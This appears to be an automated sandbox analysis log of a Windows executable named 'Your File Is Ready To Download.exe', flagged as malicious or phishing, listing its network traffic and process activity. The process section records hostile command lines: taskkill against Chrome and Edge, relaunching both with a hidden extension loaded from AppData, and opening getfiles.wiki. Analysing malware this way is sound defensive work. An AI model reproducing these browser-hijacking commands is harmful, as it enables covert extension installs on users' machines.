Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49763 version: TLS 1.0
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknownDNS traffic detected: queries for: getfiles.wiki
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49784 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49806 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49798 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49799
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49798
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49797
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49796
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49795
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
Source: unknownNetwork traffic detected: HTTP traffic on port 49796 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49808 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49786
Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49784
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49808
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49806
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49801
Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49800
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49797 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49774 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.44.10.122:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49789 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknownHTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknownHTTPS traffic detected: 150.171.22.254:443 -> 192.168.2.16:49795 version: TLS 1.2
Source: unknownHTTPS traffic detected: 13.107.253.254:443 -> 192.168.2.16:49798 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49801 version: TLS 1.2

System Summary

barindex
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeFile dump: C:\Users\user\AppData\Local\Temp\scoped_dir5732_1108863511\CRX_INSTALL\src\jquery-3.5.1.min.jsJump to dropped file
Source: classification engineClassification label: mal60.phis.winZIP@157/63@32/134
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile created: C:\Users\user\AppData\Local\ServiceApp
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4672:120:WilError_03
Source: C:\Windows\System32\Taskmgr.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7316:120:WilError_03
Source: C:\Windows\System32\Taskmgr.exeMutant created: \Sessions\1\BaseNamedObjects\Local\TM.750ce7b0-e5fd-454f-9fad-2f66513dfa1b
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7236:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeFile created: C:\Users\user\AppData\Local\Temp\ef6779f4-573f-470c-a921-a3ac983247b6.tmp
Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "msedge.exe")
Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeFile read: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: unknownProcess created: C:\Users\user\Desktop\Your File Is Ready To Download.exe "C:\Users\user\Desktop\Your File Is Ready To Download.exe"
Source: unknownProcess created: C:\Users\user\Desktop\Your File Is Ready To Download.exe "C:\Users\user\Desktop\Your File Is Ready To Download.exe"
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x154,0x158,0x15c,0x130,0x164,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /IM chrome.exe
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /IM msedge.exe
Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x18c,0x190,0x194,0x168,0x198,0x7ff6d9ff1368,0x7ff6d9ff1378,0x7ff6d9ff1388
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2372,i,16584848455203160165,18006748831736426992,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2044 --field-trial-handle=2040,i,13136158115941223659,15677216447442921038,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2040,i,13136158115941223659,15677216447442921038,262144 /prefetch:3
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://getfiles.wiki/welcome.php
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x160,0x164,0x168,0x13c,0x174,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x12c,0x154,0x158,0x130,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2020,i,11844467829304668407,15516714887544658327,262144 /prefetch:8
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --profile-directory=Default --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2372,i,16584848455203160165,18006748831736426992,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2056 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x160,0x164,0x168,0x13c,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1464 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x154,0x158,0x15c,0x130,0x164,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=2548 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --first-renderer-process --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838769761 --mojo-platform-channel-handle=3400 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
